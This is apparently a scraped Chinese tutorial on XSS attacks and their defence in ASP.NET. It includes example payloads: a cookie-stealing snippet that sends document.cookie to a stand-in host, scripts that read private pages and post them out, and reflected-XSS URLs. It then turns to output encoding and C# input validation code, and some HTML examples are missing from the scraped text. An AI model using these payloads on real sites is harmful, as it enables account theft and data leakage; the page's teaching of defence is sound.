三度网教程:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

对于Web安全的那些事(XSS防攻击)

时间:2018-01-01作者:未知 来源:三度网教程人气:86

 

 

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

看一下下面这个例子:

这段代码在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined (document是没有定义的)

再来看一下面这段代码:

  
' />

相信很多程序员都觉得这个代码很正常,其实这个代码就存在一个反射型的XSS攻击,假如输入下面的地址:

http://www.xxx.com/?id=' />

   

也许您会觉得把ValidateRequest设置为true或者保持默认值就能高枕无忧了,其实这种情况还可以输入下面的地址达到相同的攻击效果:

http://www.xxx.com/?id=xx' onerror='this.onload()' onload='alert(/xss/)' x='

  XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

根据XSS攻击的效果可以分为几种类型

第一、XSS反射型攻击,恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

第二、XSS存储型攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性,比较常见场景是在博客,论坛等社交网站上,但OA系统,和CRM系统上也能看到它身影,比如:某CRM系统的客户投诉功能上存在XSS存储型漏洞,黑客提交了恶意攻击代码,当系统管理员查看投诉信息时恶意代码执行,窃取了客户的资料,然而管理员毫不知情,这就是典型的XSS存储型攻击。

XSS攻击能做些什么

1.窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:

 var i=document.createElement('img');
 document.body.appendChild(i);
 i.src = 'http://www.hackerserver.com/?c=' + documents.cookie;

2.读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码:

var h = '
' var e = document.createElement('div'); document.documentElement.appendChild(e); e.style.display = 'none'; e.innerHTML = h; var frm = document.forms['f']; frm.data.value = document.documentElement.innerHTML; frm.submit();

var xhr = new XMLHttpRequest();

        xhr.open('POST or GET','/目标网站其他页面的URL(如获取邮箱列表的地址)');

        xhr.onreadystatechange = function (e) {

            if (xhr.readyState == 4) {

                var h = '
' var e = document.createElement('div'); document.documentElement.appendChild(e); e.style.display = 'none'; e.innerHTML = h; var frm = document.forms['f']; frm.data.value = xhr.responseText; frm.submit(); } } xhr.send(null);

3.前面两个是读的操作,其实还可进行写的操作,比如说:删除用户的博客,转发指定的微博,向用户的联系人发送带有恶意代码的信息,进行下一步的传播,如下面代码:

var xhr = new XMLHttpRequest();

xhr.open('POST', '目标网站的执行页面');

xhr.send(param);

当然XSS攻击方法远不止这些,黑客有很多天马行空的方法,只要是读和写的操作,那么我们有什么防御的方法呢?

XSS攻击防御

一、输出检查

根据XSS攻击的条件,我们可以对用户输出进行检查,使用系统的安全函数进行转义将数据和代码分开,asp.net的安全函数可以参考http://msdn.microsoft.com/en-us/library/system.web.httputility.aspx,根据不同的场景使用正确的安全函数,否则效果适得其反,如果下面例子:

';alert(name);'>hahaha...

这个例子在HTML标签的属性内输出使用HttpUtility.HtmlAttributeEncode函数进行转义看似合情合理,但这个是特殊的属性,它被解析为元素的事件,这类型的属性在某特定条件下触发事件并执行里面的代码,如本例当用户点击这个链接是会执行里面的代码。

比如输入:http://www.a.com/text.aspx?n=';alert(/xss/);//

经过HttpUtility.HtmlAttributeEncode函数转义后,输出:

hahaha...

点击标签将会弹出“/xss/” 而不是“';alert(/xss/);//” 注意:“'”被转义为“'”即是HTML的一个实体,最终还是被解析为'''字符,所以脚步被成功注入。

正确的做法应该是使用javascriptStringEncode函数或者 javascriptStringEncode和HtmlAttributeEncode函数:

 ';alert(name);'>hahaha...

二、输入检查

通常用于检测用户输入的数据是否符合预期的格式,比如日期格式,Email格式,电话号码格式等等;输入检查必须在服务端进行;当然为了提高用户体验和减轻服务端的资源客户端也要进行一次检查,但服务端检查始终是必须的,有个别程序员却调过来了认为客户端检查是必须的,服务端检查是可选的,其实这是错误的逻辑,因为客户端很容易被黑客绕过。

1.使用ASP.NET Mvc的属性特性进行验证:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using System.Web;

namespace MvcApplication1.Models
{

    public class Item
    {
        [Key]
        [Display(Name='项目ID')]
        public int ID { get; set; }
        
        [Required]
        [DisplayName('电子邮箱')]
        public string Email { get; set; }

    }
}

2.当然也可以自己实现自定义验证的特性,如下面代码:

    [Serializable]
    [AttributeUsage(AttributeTargets.Property, Inherited = true, AllowMultiple = false)]
    public class FormValidationAttribute : Attribute, IProperty
    {
        /////// 
        /////// 错误信息
        /////// 
        ////public string ErrorMessage { get; set; }
        /// 
        /// 必需的
        /// 
        public bool Required { get; set; }
        /// 
        /// 电子邮件格式
        /// 
        public bool IsEmailFormat { get; set; }
        /// 
        /// 电话号码
        /// 
        public bool IsTelephoneNumber { get; set; }
        /// 
        /// 是中文名或者英文名称,中文少于2个字符,英文不少于3个字符
        /// 
        public bool IsChineseNameOrEnglishName { get; set; }
        /// 
        /// 正则表达式
        /// 
        public string RegularExpression { get; set; }
        public RegexOptions RegexOptions { get; set; }
        /// 
        /// 最大的长度
        /// 
        public int MaxLength { get; set; }

        public PropertyInfo Property
        {get;set;}
    }

应用到属性上

    public class Item
    {
        [FormValidation(MaxLength=200)]
        public string Name{ get; set; }
        [FormValidation(IsTelephoneNumber = true)]
        public string Mobile{ get; set; }
        [FormValidation(IsEmailFormat= true,Required=true)]
        public string Email { get; set; }

      }

写个扩展方法通过反射类型进行验证对象的属性是否有效:

 

    public class FormValidationException : Exception {
        public FormValidationException(PropertyInfo field)
            : this(field, null)
        {

        }
        public FormValidationException(PropertyInfo field, string message)
            : base(message)
        {
            Property = field;
            Field = field.Name;
        }
        public string Field { get; private set; }
        public PropertyInfo Property { get; private set; }
        public override string Message
        {
            get
            {
                string msg = base.Message;
                if (!string.IsNullOrWhiteSpace(Field))
                {
                    if (string.IsNullOrWhiteSpace(msg)) { msg = Field; }
                    else { msg = string.Format('{0}({1})', msg, Field); }
                }
                return msg;

            }
        }
    }
    /// 
    /// 不是必需的
    /// 
    public class NotRequiredException : FormValidationException
    {
        public NotRequiredException(PropertyInfo field)
            : base(field)
        {}
        public NotRequiredException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// 
    /// 无效的电子邮件格式
    /// 
    public class InvalidEmailFormatException : FormValidationException
    {
        public InvalidEmailFormatException(PropertyInfo field)
            : base(field)
        {}
        public InvalidEmailFormatException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// 
    /// 无效的电话号码
    /// 
    public class InvalidTelephoneNumberFormatException : FormValidationException
    {
        public InvalidTelephoneNumberFormatException(PropertyInfo field)
            : base(field)
        {}
        public InvalidTelephoneNumberFormatException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// 
    /// 不是中文名或者英文名
    /// 
    public class NotChineseNameOrEnglishNameException :  FormValidationException
    {
        public NotChineseNameOrEnglishNameException(PropertyInfo field)
            : base(field)
        {}
        public NotChineseNameOrEnglishNameException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }
    /// 
    /// 不符合正则表达式
    /// 
    public class InconformityRegularExpressionException : FormValidationException
    {
        public InconformityRegularExpressionException(PropertyInfo field)
            : base(field)
        {}
        public InconformityRegularExpressionException(PropertyInfo field, string message)
            : base(field, message)
        {}
    }

    public class ValueLengthIsLengthyException : FormValidationException
    {
        public ValueLengthIsLengthyException(PropertyInfo field)
            : base(field)
        { }
        public ValueLengthIsLengthyException(PropertyInfo field, string message)
            : base(field, message)
        { }
    }
    public static class FormValidationExtendMethods
    {
        static void Validation(PropertyInfo p, string value)
        {
            var fv = p.GetAttribute();
            #region 验证
            if (fv != null)
            {

                if (fv.Required && string.IsNullOrWhiteSpace(value))
                { throw new NotRequiredException(p); }
                if (!string.IsNullOrWhiteSpace(value))
                {
                    if (!string.IsNullOrWhiteSpace(fv.RegularExpression)
                        && !Regex.IsMatch(value, fv.RegularExpression, fv.RegexOptions))
                    {
                        throw new InconformityRegularExpressionException(p);
                    }
                    if (fv.IsEmailFormat && !value.IsValidEmail())
                    {
                        throw new InvalidEmailFormatException(p);
                    }
                    if (fv.IsTelephoneNumber && !value.IsTelephoneNumber())
                    { throw new InvalidTelephoneNumberFormatException(p); }
                    if (fv.IsChineseNameOrEnglishName && !value.IsChineseNameOrEnglishName())
                    {
                        throw new NotChineseNameOrEnglishNameException(p);
                    }
                    if (fv.MaxLength > 0 && value.Length > fv.MaxLength)
                    {
                        throw new ValueLengthIsLengthyException(p);
                    }
                }
            }
            #endregion

        }
        public static bool Validation(this object o,bool isThrow=true) {
            bool err=false;
            Type t = o.GetType();
            var ps = t.GetProperties();
            try
            {
                foreach (var p in ps)
                {
                    object v = null;
                    try
                    {
                        v = p.GetValue(o, null);
                    }
                    catch { }
                    Validation(p, v != null ? v.ToString() : string.Empty);
                }
            }
            catch
            {
                if (isThrow) throw;
                err = true;
            }
            return !err;
        }
        public static T GetInstance(this NameValueCollection collection, bool verify = true) where T : class,new()
        {
            return collection.GetInstance(new T(), verify);
        }
        public static T GetInstance(this NameValueCollection collection, T instance, bool verify=true) where T : class
        {
            var ps = instance.GetType().GetProperties();
            var keys = collection.AllKeys;
            foreach (var p in ps)
            {
                bool has = false;
                string k = p.Name;
                foreach (var o in keys)
                {
                    if (string.Equals(o, k, StringComparison.InvariantCultureIgnoreCase))
                    { k = o; has = true; break; }
                }
                var value = has ? (collection[k] ?? '').Trim() : string.Empty;
                if (verify)
                {
                    Validation(p, value);
                }

                ///如果没有指定值,就保持默认值。
                if (!has) continue;
                #region 赋值
                try
                {
                    if (p.PropertyType.IsEnum)
                    {
                        p.SetValue(instance, Enum.Parse(p.PropertyType, value), null);
                    }
                    else
                    {
                        p.SetValue(instance, p.PropertyType.Equals(typeof(string)) ? value : Convert.ChangeType(value, p.PropertyType), null);
                    }
                }
                catch { }
                #endregion


            }

            return instance;
        }
        public static T GetInstance(this HttpRequest request, bool verify = true) where T : class,new()
        {
            return request.GetInstance(new T(), verify);
        }
        public static T GetInstance(this HttpRequest request, T instance, bool verify = true) where T : class
        {
            return request.Form.GetInstance(instance,verify);
        }
    }

 

 最后使用起来就很方便了,如下面代码:

  try { Item data = Request.GetInstance(); }
  catch (FormValidationException exp) {
            //验证失败 通过FormValidationException 异常获取哪个子段没有合法。
            }

三、转换为安全的类型

类型检查或者类型转换到安全的类型,比如:int,float,枚举类型等等,如在前面一个例子中将id转换为int类型即可:

  

    ' />

   

关键词:Web安全,XSS防攻击,对于Web安全的那些事(XSS防攻击)





Copyright © 2012-2018 三度网教程(http://www.3du8.cn) .All Rights Reserved 网站地图 友情链接

免责声明:本站资源均来自互联网收集 如有侵犯到您利益的地方请及时联系管理删除,敬请见谅!

QQ:1006262270   邮箱:kfyvi376850063@126.com   手机版